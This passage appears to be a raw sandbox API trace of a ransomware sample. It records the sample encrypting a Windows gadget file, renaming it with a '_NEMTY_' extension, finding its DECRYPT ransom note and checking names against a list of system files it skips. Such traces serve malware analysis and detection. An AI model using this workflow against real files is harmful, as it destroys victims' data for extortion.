lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0134.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0134.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.726] Sleep (dwMilliseconds=0x5) [0134.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3f48890, dwHighDateTime=0x1d561e8)) [0134.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3f48890, dwHighDateTime=0x1d561e8)) [0134.735] GetLastError () returned 0x5 [0134.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.735] GetLastError () returned 0x5 [0134.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0134.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0134.735] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0134.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0134.735] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="qTST9NDIxIwLNYJihQcFXM+e93xKL9B1pqP2giLIC2lwOl1nw14kpra05d9z3Cx/\r\nWFVSCL6WoUbtpvibqGVL7DSY5U4olJ6eLFSZzvvgktc0tFAU7sede11HSu1wbLjy\r\nAEAKd9Gu3uVH/ZEyXbdR5BGQrjACGOYP47N0gpy5HrE3/a0uBTb1O5aIHslc3zy2\r\nnRcB3U3lRGzfFMXVePwy7Kd9usoy6noutOczzoiMIsc4lzlpflHSN3ThTLSKw5y1\r\naNbqQ4E9SnltF4NCucw9p7PhqU5f6TNNecBUm7yNg7iIcU31Mr2sfJe6F14ZJZ49\r\nEx3yIv2cy5n1yhPqzh8bWQ==\r\n", pcchString=0x653e91c) returned 1 [0134.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0134.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0134.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.736] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.736] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0134.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.848] CloseHandle (hObject=0xffffffff) returned 0 [0134.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0134.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0134.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0134.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0134.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html._nemty_kgobjgd_")) returned 0 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.849] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37fe530, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0134.849] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0134.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.850] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37fe530, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0134.850] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0134.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 